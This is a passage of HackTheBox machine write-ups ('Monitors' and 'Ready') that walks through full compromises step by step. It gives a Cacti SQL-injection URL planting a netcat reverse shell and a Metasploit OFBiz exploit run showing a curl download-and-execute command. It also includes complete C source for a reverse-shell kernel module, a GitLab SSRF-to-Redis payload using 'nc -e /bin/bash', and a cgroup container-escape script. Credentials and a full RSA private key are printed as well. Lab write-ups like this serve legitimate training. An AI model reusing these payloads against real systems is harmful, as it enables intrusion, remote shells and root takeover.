        ErrorDocument 403 "Sorry, direct IP access is not allowed. <br><br>If you are having issues accessing the site then contact the website administrator: admin@monitors.htb"
        UseCanonicalName Off
        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
```

Found a new vhost called cacti-admin.monitors.htb.

Let's add this in /etc/hosts file.

Now let's go to cacti-admin.monitors.htb.

Got the login page let's login with wordpress creads which we find in wp-config.php.

Username : admin
Password : BestAdministrator@2020!

We got login succesfully and we are inside cacti admin panel let's check the cacti version.

``` bash
version : 1.2.12
```

Let's check on google for some exploit for that specific version.

``` bash
cacti 1.2.12 exploit poc
```

Find a github issue.

 - [SQL Injection vulnerability due to input validation failure when editing colors (CVE-2020-14295)](https://github.com/Cacti/cacti/issues/3622)

There is an sql injection on the latest version (in the /cacti/color.php page on the parameter filter.

And the application accept stacked queries, this can easy lead to remote code execution by replacing the path_php_binary setting inside the database.

Let's try this to get rev shell.

``` bash
http://cacti-admin.monitors.htb/cacti/color.php?action=export&header=false&filter=1%27)+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value=%27rm+/tmp/aa%3bmkfifo+/tmp/aa%3bcat+/tmp/aa|/bin/sh+-i+2%3E%261|nc+10.10.14.3+9001+%3E/tmp/aa;%27+where+name=%27path_php_binary%27;--+-
```

Hit this rev shell and you got a file leave this file and hit the second url.

Before hit the second url start your netcat listner on 9001.

``` bash
http://cacti-admin.monitors.htb/cacti/host.php?action=reindex
```

The page is reloading. let's check the netcat listner.

Got the reverse shell as www-data.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/monitors]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.238.
Ncat: Connection from 10.10.10.238:52046.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
```

Now we need marcus user access so i use grep command to searching string "marcus" related file on every directory.

I found an interesting file called cacti-backup.service.

It's point us to /home/marcus/.backup/backup.sh and when we cat that file we found the password for marcus.

``` bash
$ grep 'marcus' /etc -R 2>/dev/null
/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
$ cd /etc/systemd/system/
$ cat cacti-backup.service
[Unit]
Description=Cacti Backup Service
After=network.target

[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh

[Install]
WantedBy=multi-user.target
$ cat /home/marcus/.backup/backup.sh
#!/bin/bash

backup_name="cacti_backup"
config_pass="VerticalEdge2020"

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip
```

Let's login with marcus with ssh and get our user.txt file.

``` bash
marcus@monitors:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
marcus@monitors:~$ whoami
marcus
marcus@monitors:~$ cat user.txt
1e3139a8fb55977c78625b57f5c97c4e
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1941.jpg)


#### Privilege escalation

let's check services running on server.

``` bash
marcus@monitors:~$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0     36 10.10.10.238:22         10.10.14.3:59860        ESTABLISHED
tcp        0      0 10.10.10.238:52046      10.10.14.3:9001         CLOSE_WAIT 
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       1      0 10.10.10.238:80         10.10.14.3:34042        CLOSE_WAIT
```

We find a interesting port called 8443. let's check on google for this service.

It's a https port let's forward the port becuase it's running locally we can't access it directly.

``` bash
ssh -L 8443:127.0.0.1:8443 marcus@10.10.10.238
```

Now let's check on browser what service running on the web.

It's running Apache Tomcat/9.0.31. let's check on google for some exploit.

 - [Apache OFBiz XML-RPC Java Deserialization](https://www.rapid7.com/db/modules/exploit/linux/http/apache_ofbiz_deserialization/)

Now let's run the msfconsole and configure that.

``` bash
msf6 > use exploit/linux/http/apache_ofbiz_deserialization
[*] Using configured payload linux/x64/meterpreter_reverse_https
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set lhost 10.10.14.3
lhost => 10.10.14.3
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set lport 9001
lport => 9001
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set forceexploit true
forceexploit => true
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf6 exploit(linux/http/apache_ofbiz_deserialization) > run
```

``` bash
msf6 exploit(linux/http/apache_ofbiz_deserialization) > run

[*] Started reverse TCP handler on 10.10.14.3:9001 
[*] Executing automatic check (disable AutoCheck to override)
[!] The target is not exploitable. Target cannot deserialize arbitrary data. ForceExploit is enabled, proceeding with exploitation.
[*] Executing Linux Dropper for linux/x64/shell/reverse_tcp
[*] Using URL: http://0.0.0.0:8088/xFKYmWzlLi853C
[*] Local IP: http://192.168.177.128:8088/xFKYmWzlLi853C
[+] Successfully executed command: curl -so /tmp/uTbDdZRj http://10.10.14.3:8088/xFKYmWzlLi853C;chmod +x /tmp/uTbDdZRj;/tmp/uTbDdZRj;rm -f /tmp/uTbDdZRj
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Client 10.10.10.238 (curl/7.64.0) requested /xFKYmWzlLi853C
[*] Sending payload to 10.10.10.238 (curl/7.64.0)
[*] Sending stage (38 bytes) to 10.10.10.238
[*] Command shell session 1 opened (10.10.14.3:9001 -> 10.10.10.238:60830) at 2021-05-01 04:58:09 -0400
[*] Server stopped.

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
pwd
/usr/src/apache-ofbiz-17.12.01
```

We are root but in the docker container.

Now let's run linpeas.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1942.jpg)

Let's check on google for Abusing capability.

 - [Docker Container Breakout: Abusing SYS_MODULE capability!](https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd)

Checking the capabilities provided to the docker container

``` bash
root@531ea6f91c39:/usr/src/apache-ofbiz-17.12.01# capsh --print
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
```

Let's check the ip of docker0 interface inside marcus ssh shell.

``` bash
marcus@monitors:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:67:57 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.238/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:6757/64 scope global dynamic mngtmpaddr 
       valid_lft 86280sec preferred_lft 14280sec
    inet6 fe80::250:56ff:feb9:6757/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:27:57:47:01 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:27ff:fe57:4701/64 scope link 
       valid_lft forever preferred_lft forever
4: br-968a1c1855aa: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:6c:c5:00:44 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-968a1c1855aa
       valid_lft forever preferred_lft forever
6: veth8849a36@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether ee:80:6e:96:12:95 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::ec80:6eff:fe96:1295/64 scope link 
       valid_lft forever preferred_lft forever
```

Now we need to create two files

1 -> reverse-shell.c

``` bash
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.1/4443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
```

2 -> Makefile

``` bash
obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```

Now in docker root shell on /root directory wget the two files inside /root directory.

``` bash
root@531ea6f91c39:/root# wget http://10.10.14.3:88/reverse-shell.c
wget http://10.10.14.3:88/reverse-shell.c
--2021-05-01 09:40:30--  http://10.10.14.3:88/reverse-shell.c
Connecting to 10.10.14.3:88... connected.
HTTP request sent, awaiting response... 200 OK
Length: 616 [text/plain]
Saving to: 'reverse-shell.c'

reverse-shell.c     100%[===================>]     616  --.-KB/s    in 0s      

2021-05-01 09:40:30 (60.4 MB/s) - 'reverse-shell.c' saved [616/616]

root@531ea6f91c39:/root# wget http://10.10.14.3:88/Makefile
wget http://10.10.14.3:88/Makefile
--2021-05-01 09:41:04--  http://10.10.14.3:88/Makefile
Connecting to 10.10.14.3:88... connected.
HTTP request sent, awaiting response... 200 OK
Length: 160 [application/octet-stream]
Saving to: 'Makefile'

Makefile            100%[===================>]     160  --.-KB/s    in 0s      

2021-05-01 09:41:05 (23.8 MB/s) - 'Makefile' saved [160/160]
```

Now export the path and compile the program and you got so many files but we need only reverse-shell.ko

``` bash
root@531ea6f91c39:/root# ls
ls
Makefile  reverse-shell.c
root@531ea6f91c39:/root# export PATH=$PATH/usr/lib/gcc/x86_64-linux-gnu/8/
export PATH=$PATH/usr/lib/gcc/x86_64-linux-gnu/8/
root@531ea6f91c39:/root# make clean
make clean
make -C /lib/modules/4.15.0-142-generic/build M=/root clean
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic'
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic'
root@531ea6f91c39:/root# make all
make all
make -C /lib/modules/4.15.0-142-generic/build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic'
  CC [M]  /root/reverse-shell.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/reverse-shell.mod.o
  LD [M]  /root/reverse-shell.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic'
root@531ea6f91c39:/root# ls
ls
Makefile        modules.order    reverse-shell.ko     reverse-shell.mod.o
Module.symvers  reverse-shell.c  reverse-shell.mod.c  reverse-shell.o
```

Before insert the kernel module start your netcat listner on marcus ssh shell.

``` bash
marcus@monitors:~$ nc -lnvp 4443
Listening on [0.0.0.0] (family 0, port 4443)
```

Now let's insert the kernel module using insmod.

``` bash
root@531ea6f91c39:/root# insmod reverse-shell.ko
insmod reverse-shell.ko
```

Now let's check our netcat listner.

``` bash
marcus@monitors:~$ nc -lnvp 4443
Listening on [0.0.0.0] (family 0, port 4443)

Connection from 10.10.10.238 41538 received!
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@monitors:/# 
root@monitors:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@monitors:/# whoami
whoami
root
root@monitors:/# cat /root/root.txt
cat /root/root.txt
a58bf869665a6b00d8d31d195d2af59b
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1943.jpg)


#### Summary of knowledge

 - WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
 - use /proc/self/fd from LFI to RCE
 - SQL Injection vulnerability due to input validation failure when editing colors (CVE-2020-14295)
 - Apache OFBiz XML-RPC Java Deserialization
 - privesc via Abusing SYS_MODULE capability

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end monitors -->

</details>

<a id="case-ready"></a>

## GitLab 入口与特权容器

GitLab 11.4.7 执行后先分析备份配置，再确认容器边界。两条宿主访问方法及密钥落点按原链保留。

<p class="kb-provenance">来源 ready · 原记录 2020-12-16 · 15 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-ready">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start ready -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	    30
Release:	12 Dec 2020
IP:	        10.10.10.220

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb133.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ready]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.220
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open  http    nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

So basically Two ports are opened 22:ssh 5080:http

#### Port-80

There is a simple Gitlab Sign in page.

Let's register ourself.

And we got login

After some enumeration i found an interesting thing.

There is a gitlab version and a interesting thing "update asap" in red background that semms to be vulnerable.

After some googling i found an interesting article of liveoverflow.

 - [GitLab 11.4.7 Remote Code Execution](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)

suggest you to watch this vedio for better Understanding.

 - [GitLab 11.4.7 Remote Code Execution - Real World CTF 2018](https://www.youtube.com/watch?v=LrLJuyAdoAg&feature=emb_imp_woyt)

After reading the article and watch the full vedio i understand that we got the reverse shell through this method which he show in the vedio.

Let's try this real quick.

#### Step 1

Click on new project.

Now click on Import project.

Click repo-by-url

#### Step 2

Now we need to use the payload with url encode it that showing in the vedio.

``` bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 10.10.14.2 9001 -e /bin/bash \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git
```

Now url encode the payload

``` bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%2010%2E10%2E14%2E2%209001%20%2de%20%2fbin%2fbash%20%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
```

Now add this payload inside the Git-repository-URL feild.

Before click on the Create Project start your netcat listner on 9001.

Now click on Create project.

Let's check our netcat listner.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ready]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.220.
Ncat: Connection from 10.10.10.220:37142.
id
uid=998(git) gid=998(git) groups=998(git)
whoami
git
python -c 'import pty; pty.spawn("/bin/bash")'
id
uid=998(git) gid=998(git) groups=998(git)
whoami
git
python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ id
id
uid=998(git) gid=998(git) groups=998(git)
git@gitlab:~/gitlab-rails/working$ whoami
whoami
git
```

Boom we got thereverse shell as git.

We are inside a docker container.

Now after some enumeration i found an interesting file called gitlab.rb inside /opt/backup directory.

``` bash
git@gitlab:/opt/backup$ ls
ls
docker-compose.yml  gitlab-secrets.json  gitlab.rb
```

After see the content in the file i found a password:

``` bash
git@gitlab:/opt/backup$ cat gitlab.rb | grep password
cat gitlab.rb | grep password
...
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
...
```

Let's change our user real quick.

``` bash
su
Password: wW59U!ZKMbG9+*#h

root@gitlab:/opt/backup# id
id
uid=0(root) gid=0(root) groups=0(root)
root@gitlab:/opt/backup# whoami
whoami
root
```

And we are root in the docker container

now we can see the content of user.txt file.

``` bash
root@gitlab:~# find / -name "user.txt" 2>/dev/null
find / -name "user.txt" 2>/dev/null
/home/dude/user.txt
root@gitlab:~# cat /home/dude/user.txt
cat /home/dude/user.txt
e1e30b052b6ec0670698805d745e7682
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb134.jpg)


#### Privilege-escalation-way1

After some enumeration i found nothing for privesc.

Now i search on google for privilege-escalation inside docker container and i found an interesting article.

 - [Escaping Docker Privileged Containers](https://medium.com/better-programming/escaping-docker-privileged-containers-a7ae7d17f5a1)

After reading the article i got the ruff idea how to privesc.

#### Step 1

First we need to create our ssh public key.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ready]
└─# cat /root/.ssh/id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali
```

#### Step 2

Now we need to create a file called root.sh.

Change your id_rsa.pub file content inside root.sh.

root.sh:

``` bash
mkdir /tmp/luci12 && mount -t cgroup -o rdma cgroup /tmp/luci12 && mkdir /tmp/luci12/xx
echo 1 > /tmp/luci12/xx/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/luci12/release_agent

echo '#!/bin/sh' > /cmd
echo "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali' > /root/.ssh/authorized_keys" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/luci12/xx/cgroup.procs"
```

#### Step 3

Open your Python SimpleHttpServer.

And send the file on docker container.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ready]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.220 - - [16/Dec/2020 05:08:03] "GET /root.sh HTTP/1.1" 200 -
```

``` bash
root@gitlab:~# cd /tmp                                                                                                                         
cd /tmp                                                                                                                                        
root@gitlab:/tmp# ls                                                                                                                           
ls                                                                                                                                             
gitaly-ruby896015435                                                                                                                           
root@gitlab:/tmp# wget http://10.10.14.2/root.sh                                                                                               
wget http://10.10.14.2/root.sh                                                                                                                 
--2020-12-16 10:11:41--  http://10.10.14.2/root.sh                                                                                             
Connecting to 10.10.14.2:80... connected.                                                                                                      
HTTP request sent, awaiting response... 200 OK                                                                                                 
Length: 375 [text/x-sh]
Saving to: 'root.sh'

root.sh             100%[===================>]     375  --.-KB/s    in 0s      

2020-12-16 10:11:41 (46.7 MB/s) - 'root.sh' saved [375/375]

root@gitlab:/tmp# chmod 777 *
chmod 777 *
root@gitlab:/tmp# ./root.sh
./root.sh
```

now we can use id_rsa to ssh into the target:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ready]
└─# ssh -i id_rsa root@10.10.10.220
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 16 Dec 2020 10:33:53 AM UTC

  System load:                      0.1
  Usage of /:                       65.2% of 17.59GB
  Memory usage:                     78%
  Swap usage:                       0%
  Processes:                        333
  Users logged in:                  0
  IPv4 address for br-bcb73b090b3f: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.220
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:8278

  => There are 6 zombie processes.

 * Introducing self-healing high availability clusters in MicroK8s.
   Simple, hardened, Kubernetes for production, from RaspberryPi to DC.

     https://microk8s.io/high-availability

170 updates can be installed immediately.
73 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sun Dec 13 15:04:10 2020 from 10.10.14.5
root@ready:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ready:~# whoami
root
root@ready:~# ls
docker-gitlab  ready-channel  root.txt  snap
root@ready:~# cat root.txt
b7f98681505cd39066f67147b103c2b3
```

and we got the root flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb135.jpg)


If you learn about more how this privesc work check this article.

 - [Understanding Docker container escapes](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)


#### Privilege-escalation-way2

We are inside container and we are root

Now i tried 'new mount' in container read it here

``` bash
root@gitlab:/tmp# mkdir /tmp/test
mkdir /tmp/test
root@gitlab:/tmp# mount /dev/sda2 /tmp/test
mount /dev/sda2 /tmp/test
root@gitlab:/tmp# cat /tmp/test/root/.ssh/id_rsa
cat /tmp/test/root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
sle1ivGnwAUrroNAK48LE70Io13DIfE9rxcotDviAIhbBOaqMLbLnfnnCNLApjCn
6KkYjWv+9kj9shzPaN1tNQLc2Rg39pn1mteyvUi2pBfA4ItE05F58WpCgh9KNMlf
YmlPwjeRaqARlkkCgFcHFGyVxd6Rh4ZHNFjABd8JIl+Yaq/pg7t4qPhsiFsMwntX
TBKGe8T4lzyboBNHOh5yUAI3a3Dx3MdoY+qXS/qatKS2Qgh0Ram2LLFxib9hR49W
rG87jLNt/6s06z+Mwf7d/oN8SmCiJx3xHgFzbwIDAQABAoIBACeFZC4uuSbtv011
YqHm9TqSH5BcKPLoMO5YVA/dhmz7xErbzfYg9fJUxXaIWyCIGAMpXoPlJ90GbGof
Ar6pDgw8+RtdFVwtB/BsSipN2PrU/2kcVApgsyfBtQNb0b85/5NRe9tizR/Axwkf
iUxK3bQOTVwdYQ3LHR6US96iNj/KNru1E8WXcsii5F7JiNG8CNgQx3dzve3Jzw5+
lg5bKkywJcG1r4CU/XV7CJH2SEUTmtoEp5LpiA2Bmx9A2ep4AwNr7bd2sBr6x4ab
VYYvjQlf79/ANRXUUxMTJ6w4ov572Sp41gA9bmwI/Er2uLTVQ4OEbpLoXDUDC1Cu
K4ku7QECgYEA5G3RqH9ptsouNmg2H5xGZbG5oSpyYhFVsDad2E4y1BIZSxMayMXL
g7vSV+D/almaACHJgSIrBjY8ZhGMd+kbloPJLRKA9ob8rfxzUvPEWAW81vNqBBi2
3hO044mOPeiqsHM/+RQOW240EszoYKXKqOxzq/SK4bpRtjHsidSJo4ECgYEA1jzy
n20X43ybDMrxFdVDbaA8eo+og6zUqx8IlL7czpMBfzg5NLlYcjRa6Li6Sy8KNbE8
kRznKWApgLnzTkvupk/oYSijSliLHifiVkrtEY0nAtlbGlgmbwnW15lwV+d3Ixi1
KNwMyG+HHZqChNkFtXiyoFaDdNeuoTeAyyfwzu8CgYAo4L40ORjh7Sx38A4/eeff
Kv7dKItvoUqETkHRA6105ghAtxqD82GIIYRy1YDft0kn3OQCh+rLIcmNOna4vq6B
MPQ/bKBHfcCaIiNBJP5uAhjZHpZKRWH0O/KTBXq++XQSP42jNUOceQw4kRLEuOab
dDT/ALQZ0Q3uXODHiZFYAQKBgBBPEXU7e88QhEkkBdhQpNJqmVAHMZ/cf1ALi76v
DOYY4MtLf2dZGLeQ7r66mUvx58gQlvjBB4Pp0x7+iNwUAbXdbWZADrYxKV4BUUSa
bZOheC/KVhoaTcq0KAu/nYLDlxkv31Kd9ccoXlPNmFP+pWWcK5TzIQy7Aos5S2+r
ubQ3AoGBAIvvz5yYJBFJshQbVNY4vp55uzRbKZmlJDvy79MaRHdz+eHry97WhPOv
aKvV8jR1G+70v4GVye79Kk7TL5uWFDFWzVPwVID9QCYJjuDlLBaFDnUOYFZW52gz
vJzok/kcmwcBlGfmRKxlS0O6n9dAiOLY46YdjyS8F8hNPOKX6rCd
-----END RSA PRIVATE KEY-----
```

Now Login ssh using the readed id_rsa1 PRIVATE KEY

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ready]
└─# ssh -i id_rsa1 10.10.10.220
load pubkey "id_rsa1": invalid format
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 4.0

 * Introducing self-healing high availability clusters in MicroK8s.
